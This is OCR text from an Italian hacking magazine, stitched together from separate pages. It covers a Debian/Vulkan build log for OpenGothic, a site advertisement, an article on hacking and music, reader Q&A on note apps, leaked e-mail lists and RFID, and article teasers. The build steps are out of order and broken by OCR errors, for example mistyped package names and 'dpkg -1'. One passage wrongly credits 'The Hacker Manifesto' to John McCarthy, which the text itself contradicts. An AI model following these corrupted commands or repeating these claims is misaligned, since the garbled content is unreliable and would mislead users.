surce.list e aggiungo le righe:

va bene, un passo avanti: il
messaggio di errore & cambiato,
ma sembra un peggioramento:

I seguenti pacchetti hanno
dipendenze non soddisfatte:

dxc : Dipende: libc6 (>= 2.34) ma la
versione 2.31-13+deb11u5 sta per
essere installata

Dipende: libstdc++6 (>= 11) ma la

deb http://deb.debian.org/
debian/ testing main contrib
non-free

deb-src http://deb.debian.org/
debian/ testing main

dopodiché aggiorno con:

# apt-get update

# apt-get upgrade




nei vari messaggi vedo scorrere
linformazione che mi interessa:
libc6 viene aggiornata alla versione
2.36-8. Finito l'aggiornamento,
tramite il comando:

# dpkg -1 | grep libstdc+6

Va bene, anzi no, non va bene
niente... perod calma, dai,
ragioniamo: evidentemente le
versioni di libvulkan-dev e vulkan-
headers non sono identiche.

Indago sui due pacchetti con:

osservo che tale libreria € ancora
ferma alla versione 10.2.1-6: no
buono! Potrei installarla
singolarmente, ma fatto trenta,
faccio trentuno: aggiorno il sistema
completamente con:

# apt-get dist-upgrade

# reboot

Al riawvio, noto che lo sfondo di
grub e Desktop sono cambiati da
un deciso blu a un delicato
acquamaring, a indicare che sono
in testing. Ci riprovo:

# apt-cache show libvulkan-dev
| grep Version

# apt-cache show vulkan-headers
| grep Version

e vedo che ci sono MOLTE versioni
di entrambi i pacchetti ma per
coerenza, vanno installati nella
STESSA IDENTICA versione.
Domanda: come fare in modo che
apt scelga una determinata
versione? Un rapido giro di giostra
in Internet mi fornisce la risposta:
mettere “=<versione>" dopo il
nome del pacchetto, cosa che
faccio:

# apt-get install vulkan-sdk

Risposta del sistema:

I seguenti pacchetti hanno
dipendenze non soddisfatte:
libvulkan-dev : Rompe: vulkan-
headers ma la versione
1.3.239.0~rc2-1lunarg22.04-1 sta

per essere installata

E: Impossibile correggere i problemi,
¢i sono pacchetti danneggiati
bloccati.

root@debian:~#

GPated Modifica Visualizza Dispositive Partizions  Ajuto

-~
* . 4
Idevisdbl
10.00 GiB
Fartizione File system = Punto di montaggio Dimensions
L | extd (madialutente/biindf. . 10.00 GiB

# apt-get install libvulkan-
dev=1.2.148.0-11unarg20.04-1

e poi ancora:

# apt-get install vulkan-sdk

ma di nuovo, un errore! Siccome
deriva dagli headers, cosa
accadrebbe se tentassi di installare
SOLO quel pacchetto? Ci provo:

# apt-get install vulkan-
headers

igura #4=

o MdevisdD (3727.Gi8)

on gparted,
'immagine

| wm n

Usato | Libero | Fiag

iSico puo essere
espansa per
occuparlo
completamente.

- wes boot

# apt-get install libvulkan-dev

e stavolta va tutto bene! Mi
rincuoro e ci riprovo:

# apt-get install vulkan-sdk

ma ancora una volta, errore, lo
stesso di prima dellincolpabilita
tra le versioni di vulkan-headers e
libvulkan-dev... la cosa mi pare
strana: i due pacchetti sono stati
installati e non hanno dato
problemi, perché il tentativo
d'installazione di vulkan-sdk da
problemi? Non ha molto senso.
Allora, ragioniamo e alla fine, che
cosa e questo benedetto vulkan-
sdk? Decido di “guardarci dentro” e
lo scarico con:

$ apt-get download vulkan-sdk

mmm... un totale di 5KB... COSI
POCO? Cosa c'@ dentro?!

Il pacchetto .deb si chiama
vulkan-sdk_1.3.239.0~rc2-
1lunarg22.04-1_all.deb che,
come noto, non & altro che un
archivio di file: attivo midnight
comander che permette anche
di leggere allinterno dei file deb.
Seleziono il file, premo Invio ed
“entro” nell'archivio .deb. Navigo
dentro le varie directory
CONTENTS/usr/share/doc/
vulkan-sdk, poi con F3 edito il
file README.debian e... sorpresal!
C'e un elenco di pacchetti!
Vulkan-sdk quindi & solo un
meta-pacchetto, cioé contiene un
elenco di librerie da installare!
Copio README.debian e lo
stampo:

$ cat README.debian

ed ecco l'elenco dei pacchetti che
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mi interessano:

+ libvulkan1

+ libvulkan-dev

+ vulkan-headers

+ vulkan-validationlayers
+ vulkan-validationlayers-dev
+ vulkan-tools

* lunarg-via

* lunarg-vktrace

* lunarg-vulkan-layers

+ spirv-headers

* spirv-tools

* Spirv-cross

+ glslang-tools

+ glslang-dev

+ shaderc

ora si tratta di installarli, con:

# apt-get install libvulkanl
libvulkan-dev vulkan-headers
vulkan-validationlayers
vulkan-validationlayers-dev
vulkan-toolslunarg-via
lunarg-vktrace lunarg-vulkan
-layers spirv-headers spirv
-tools spirv-cross glslang
-tools

glslang-dev shaderc

Ma ottengo il messaggio: E:
Impossibile trovare il pacchetto
lunarg-vktrace

Mi butto su Internet, e dopo un po’
scopro che lunarg-vktrace e
obsoleto e rimpiazzato da lunarg-
gfxreconstruct, ragion per cui
rilancio il comando di prima
avendo cura di sotituire lunarg-
vktace con lunarg-gfxreconstruct;

# apt-get install libvulkanl
libvulkan-dev vulkan-headers
vulkan-validationlayers vulkan-
validationlayers-dev vulkan-
toolslunarg-via lunarg-
gfxreconstruct

=515

lunarg-vulkan-layers spirv-
headers spirv-tools spirv-cross
glslang-tools glslang-dev
shaderc

E lo stesso errore! Installo
pacchetti uno alla volta? Ah, no
aspetta! Nella lista avevo messo
anche libvulkan-dev vulkan-
headers che pero sono gia
installati! Li rimuovo e rilancio:

# apt-get install libvulkanl
vulkan-validationlayers vulkan-
validationlayers-dev vulkan-
toolslunarg-via lunarg-
gfxreconstruct
lunarg-vulkan-layers spirv-
headers spirv-tools spirv-cross
glslang-tools glslang-dev
shaderc

Parte lo scarico e l'installazione.
Torno alla pagina Internet delle
istruzioni e prelevo il prossimo:

# apt install git cmake g++
glslang-tools libvulkan-dev
libasound2-dev 1libx11-dev

libxcursor-dev

Driver audio

I n questo progetto, abbiamo
necessariamente installato il
driver NVIDIA, in quanto
NOUVEAU, il driver opensource,
per tale hardware, non riusciva a
gestire l'accelerazione grafica e il
comparto audio HDMI.

$ cd OpenGothic

$ cmake -B build -DBUILD_
SHARED_LIBS=0ON -DCMAKE_BUILD_
TYPE:STRING=RelWithDebInfo

Ed ora, il colpo di grazia:

$ make -C build -j8

Il sistema compila e macina... Alla
fine, il parametro “-g" indica il
percorso dove si trovano i dati.
Ora, la directory in cui lo avevo
salvato & /home/utente/Gothic_2_
Gold e l'eseguibile si trova in /
home/utente/OpenGothic/build/
opengothic ed & li che mi sposto

$ cd /home/utente/OpenGothic/
build/opengothic

Dopo, passo alla ricompilazione:

Incrociamo le dita e...

$ cd

$ git clone --recurse-
submodules https://github.com/
Try/OpenGothic.git

$ ./Gothic2Notr.sh -g /home/
utente/Gothic_2_Gold/

PARTITO! [figura #5].

oUra 5

versione originale
proprietaria
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Il punto di riferimento per chi fa dell’'hacking
una filosofia di vita

La crew di Hacker Journal ti aspetta ogni giorno sul nuovo sito Web, il ritrovo della sua ricca comunita
hacker. Troverai anticipazioni degli articoli, news dal mondo della (in)sicurezza, contest, offerte speciali
e un forum che vuole essere il punto di riferimento per chiunque voglia diventare un esperto di sicurezza.

In un periodo storico in cui governi e multinazionali si divertono a spiare tutto e tutti, sulle pagine
della rivista e sul sito scoprirai come difenderti e contrattaccare. #H)isBACK

Scopri il sito e la comunita di Hacker Journal

Forum: iscriviti subito e inizia a dialogare con la redazione e la comunita di HJ

) News: le ultime notizie su cyberintrusioni, furti
di credenziali, bug, malware e altro ancora

Contest: metti alla prova le tue conoscenze
con i giochi e le sfide della redazione

. Collezione HJ: i vecchi numeri della rivista,
— = in PDF, da scaricare

Invia un articolo: ti piace scrivere e hai un’idea
originale per un articolo? Inviacela e la valuteremo!
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una danza sorprendente, un

balenare tra circuiti e sinfonie
quello che hacking e musica
hanno tracciato nel corso della
storia. Un percorso parallelo, che
ha messo in luce come la
tecnologia e I'arte possano
fondersi nell'unica armonia della
creazione.

LASTORIA

Le origini di questa simbiosi sono
da rintracciare in luoghi come il
Tech Model Railroad Club
(TMRC) del MIT, un posto che non
era solo un seminario per gli
appassionati di modellismo
ferroviario, ma anche una vera e
propria culla per gli esploratori del
suono. Mentre alcuni membri si
adoperavano con interruttori e
circuiti, altri erano allo stesso
tempo affascinati dalla “creazione
sonora”, anticipando cosi un'era in
cui l'alterazione della tecnologia
avrebbe portato anche a nuove
frontiere musicali. Era
un'intersezione, un connubio tra
tecnologia e arte, che ha forse
gettato le basi per future
generazioni di hacker, tra cui
gruppi noti come i Cult of the
Dead Cow che - pur essendo tra i

> 58

pionieri nel mondo dell'hacking

- aveva legami profondi con la
scena underground degli anni ‘80.
E stata una sovrapposizione di
mondi, quindi, che ha trovato
conferma in documenti come “The

hacker manifesto” di John
McCarthy, dove un grido di
ribellione parla di liberta e
conoscenza, da perseguire con

John McCarthy,
vincitore del premio
Premio Turing nel '71
per i suoi contributi | &
nel campo dell'lA
nonché inventore del |
termine “Intelligenza :
Artificiale", era
membro del Tech
8Model Railroad Club.

uno spirito di sfida e innovazione.
Un modo di vedere le cose che ha
trovato eco anche nel parallelo
universo musicale, in cui artisti
con una profonda passione per
I'nacking si sono avventurati nella
manipolazione dei sintetizzatori
analogici, spingendosi oltre i
confini della composizione
classica. Una ricerca incessante di
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Loyd Blankenship, noto hacker statunitense, famoso per aver scritto il saggio
“La coscienza di un Hacker", che in seguito diventera “The Hacker Manifesto”,

un appassionato di sintetizzatori.

nuove espressioni, sia nel codice
sia nella musica, che forse
sottolinea una verita
fondamentale: nel cuore di ogni
hacker c'@ un desiderio di
esplorare, diinnovare e di creare,
una passione che risuona
profondamente con I'anima del
musicista.

SINERGIAIN
EVOLUZIONE

Nel mondo contemporaneo, il
legame tra musica e hacking si &
rafforzato e diversificato in modi
sorprendenti, alimentato dalle
incessanti innovazioni
tecnologiche e da una crescente
cultura di condivisione e
collaborazione. Mentre un tempo
gli hacker utilizzavano i primi
computer per esplorare le
potenzialita sonore, oggi
assistiamo a un'era in cui software
e hardware opensource dominano

la scena musicale elettronica,
permettendo una manipolazione
del suono mai vista prima.

Gli ambienti di programmazione
come Pure Data e Max/MSP hanno

permesso ai musicisti di

“hackerare” il suono, creando
strumenti personalizzati e
manipolando l'audio in tempo
reale. Tali software, essendo
altamente modulabili, sono
diventati luoghi di
sperimentazione, dove le capacita
di un hacker si fondono con la
creativita di un compositore. Allo
stesso modo, piattaforme come
Arduino e Raspberry Pi hanno
dato vita a strumenti musicali DIY,
interfacciamenti e sintetizzatori,
facendo emergere una nuova
generazione di “maker” musicali.

DEMOCRATIZZAZIONE
Ma il legame va oltre la semplice
creazione di strumenti. La cultura

hacker ha influenzato
profondamente l'industria
musicale anche in termini di
distribuzione e accesso. La
filosofia opensource, tanto cara al
cuore degli hacker, ha stimolato la
nascita di piattaforme di
streaming indipendenti, software
di produzione musicale gratuiti e
repository online dove gli artisti
possono condividere
campionamenti, loop e strumenti.
Questa democratizzazione
dell'accesso ha portato a
un'esplosione di creativita, con
artisti provenienti da ogni angolo
del mondo che possono ora
collaborare, remixare e creare
insieme. Infine, il mondo
dell'hacking ha influenzato anche
il modo in cui la musica viene
vissuta. Dalle visualizzazioni
algoritmiche che accompagnano
la musica elettronica ai festival,
alla creazione di ambienti
immersivi basati su realta virtuale
e aumentata, la tecnologia sta
ridefinendo l'esperienza
dell'ascolto. In sintesi, nel
panorama attuale, musica e
hacking non sono solo intrecciati:
sono diventati simbiotici. Insieme
stanno ridefinendo i confini
dell’espressione artistica,
mostrando che, quando
tecnologia e arte si fondono, le
possibilita sono infinite!
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Condividi i tuoi dubbi con la redazionei

anuoveideee suggenjlmenn
su quello che vorresti vedere su

redazione@hackeriournal.it

UN SISTEMA DIGITALE PER

LE ARCHIVIARE GLI APPUNTI
Salve, da tempo, per lavoro
prendo appunti su blocchi
cartacei. E ora vorrei trasferirli
in digitale. Cosa posso utilizzare
per i miei scopi?

Gianmarco

Ciao, Gianmarco. Il mondo

= digitale offre una vasta
gamma di strumenti per
semplificare e migliorare la
gestione degli appunti.
L'importante é trovare la
soluzione che meglio si adatta
alle tue esigenze e al tuo stile di
lavoro.
Iniziamo col dire che il passaggio
dal cartaceo al digitale & una
tendenza sempre piu diffusa in
molti ambiti lavorativi,
soprattutto considerando la
crescente necessita di avere
documenti organizzati,
facilmente accessibili e
condivisibili. Un primo metodo, e
forse il pit immediato, consiste
nell'utilizzare uno scanner o delle
app per smartphone che
trasformano la fotocamera del
telefono in uno scanner portatile.
Ce ne sono molte, come
CamScanner o Microsoft Office
Lens, che ti permettono di
scattare una foto al tuo appunto
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nsieme
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e trasformarla in un file PDF o
immagine. Queste applicazioni
spesso includono funzioni di
riconoscimento ottico dei
caratteri (OCR), che convertono le
immagini scansionate in testo
modificabile, permettendoti di
effettuare ricerche allinterno dei
documenti o di modificarli. Un
altro approccio consiste
nell'utilizzare delle tavole digitali
o taccuini elettronici.

Questi dispositivi ti permettono
di scrivere o disegnare come lo
faresti su un normale foglio di
carta, ma con il vantaggio di
avere immediatamente tutto in
formato digitale.

Alcuni di questi dispositivi sono
dotati di una speciale penna e un
sensore che rileva la posizione
della stessa, convertendo in
tempo reale quello che scrivi o
disegni in un file digitale. Il
vantaggio principale é che ti
permettono di avere
un'esperienza simile alla scrittura
su carta, ma con la comodita e i

vantaggi del digitale. Un
esempio? Il Taccuino Digitale
Intelligente HUION Note X10, che
offre un ottimo rapporto qualita/
prezzo. (Lo trovi qui: https.//www.
short.tips/url/hjnotex10). Una volta
che hai trasferito i tuoi appunti in
formato digitale, potresti voler
considerare l'utilizzo di software
per la gestione degli appunti.
Applicazioni come Evernote,
Microsoft OneNote o Notion ti
permettono di organizzare,
categorizzare e cercare
facilmente i tuoi appunti. Molte
di queste offrono anche funzioni
di sincronizzazione tra dispositivi,
consentendo di accedere ai tuoi
appunti da smartphone, tablet o
computer.

CHE VALORE HANNO
LH GLIINDIRIZZI
DI UNA MAILING LIST?
Salve, vi scrivo per avere
chiarimenti su un fatto
avvenuto circa 3 anni fa. Un
giorno mi arriva una e-mail di
una nota societa di
infrastrutture radio italiana,
con un messaggio per me non
pertinente, parlava di
modifiche di accesso al loro
sito. Il fatto € che mi sono
arrivati piu di 300 indirizzi
e-mail in chiaro.



La mia domanda é: questi
indirizzi hanno un valore
commerciale sul Web? Posso
distribuirli e comunicarli ad
altri? Se lo faccio vado incontro
ad azioni legali penali e/o civili?
Saluti.

Miro

Ciao, Miro. La tua domanda

®  riguarda un argomento
molto delicato e importante
nell'era dellinformazione: la
protezione dei dati personali.
Partiamo dalla tua prima
preoccupazione, cioe se gli
indirizzi di una mailing list hanno
0 no un valore commerciale.
Be', sappi che gli indirizzi email
sono diventati uno degli asset
piu preziosi per le aziende e gli
operatori di marketing nel
contesto attuale. Sapere a chi
inviare informazioni, offerte o
comunicazioni € fondamentale
per chi opera in ambito
commerciale e pubblicitario. Una
mailing list pulita, segmentata e
aggiornata puod avere un
notevole valore commerciale
poiché rappresenta un pubblico
gia interessato o almeno a
conoscenza di un certo prodotto,

servizio o marca.

Tuttavia, la semplice raccolta di
indirizzi email senza un contesto,
senza sapere da dove
provengono, quali sono i loro
interessi o se hanno dato il
CoNsenso per essere contattati,
potrebbe non avere lo stesso
valore. Ma attenzione: anche se
potrebbe esserci un valore
associato a questi indirizzi, ci
sono molteplici questioni etiche
e legali legate all'uso e alla
distribuzione di tali dati. E quindi,
passiamo alla seconda
questione: gli aspetti legali e i
rischi associati.

Da un punto di vista legale in
molte giurisdizioni, inclusa
I'Europa con il suo Regolamento
Generale sulla Protezione dei

Dati (GDPR), utilizzare, distribuire

o vendere indirizzi email senza il
consenso esplicito dei proprietari
¢ illegale. Questo significa che,
anche se tecnicamente hai in
mano una mailing list, non hai il
diritto di utilizzarla per finalita
commerciali o di distribuirla, a
meno che non si abbia il
consenso delle persone
coinvolte. Dunque, se lo fai, si,
potresti andare incontro ad

APPUNTI DIGITALI, MAIL E RFID

azioni legali sia penali che civili. E
le multe per la violazione delle
leggi sulla protezione dei dati
possono essere considerevoli.

COS'E IL SISTEMARFID?

8 Salve, ho sentito parlare di
tecnologia RFID. Mi spiegate di
cosa si tratta e dove viene
utilizzata. Grazie mille.

Giada

RFID e I'acronimo di Radio-

= Frequency Identification. Si
tratta di una tecnologia utilizzata
per identificare, tracciare e
leggere informazioni di oggetti,
persone o animali attraverso
onde radio. Il sistema & composto
da due componenti: un tag (o
etichetta) e un lettore. Il tag, che
puo essere attaccato o
incorporato in un oggetto,
contiene un microchip che
memorizza informazioni e
un'antenna per trasmettere
queste informazioni al lettore.
Quando il tag passa vicino a un
lettore RFID, il microchip
trasmette le informazioni al
lettore attraverso le onde radio.
Questa tecnologia ha una vasta
gamma di applicazioni. Pud essere
utilizzata per la gestione di
magazzini e inventari, per
tracciare spedizioni, per il
controllo accessi in edifici o eventi,
per i pagamenti contactless e
molto altro. Un uso comune
riguarda anche i portafogli: molti
articoli moderni sono dotati di
protezione RFID per impedire la
lettura non autorizzata delle carte
di credito o dei documenti di
identita al loro interno. Come lo
SLim Porta Carte di Credito che
trovi qui: https://www.short.tips/url/
hjslimcard.
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Scovare la password

via FTP: & possibile!
Sfruttare il noto
protocollo per reali_zzare
un accesso anonimo.

Hackerare una
coffee machine

Troppo caffefa male...
Noi lo abbiamo fatto
solo per sicurezza

!
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Una vulnera_bilité
nel Pinguino

Sapevi cheil meccanismo
di memorizzazione .
dei file presenta un bug!
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VULNERABILITA | Il portachiavi in bella mostra
Un bug nella configurazione di Nginx per BitWarden, il noto gestore
di password, permette a un hacker di sferrare un attacco brute force

CYBERGUERRA | Phishing e defacing
Queste tipologie di attacco rientrano tra quelle piu adoperate nella cyberguerra
Russia-Ucraina. Il loro scopo e quello di fare incetta di dati personali

WHAT IS | Ransomware Forensics: cos'e e come funziona
E 'analisi di un attacco che consente di raccogliere le prove digitali
per meglio capire come si e verificata una violazione. Ma quando si usa?

HACKULTURE | Il lato “sonoro” dell’hacking
Come l'hacker si immerge nel codice, cosi il musicista naviga tra note

e frequenze. In entrambi i casi l'obiettivo € manipolare, scoprire e, infine, creare!
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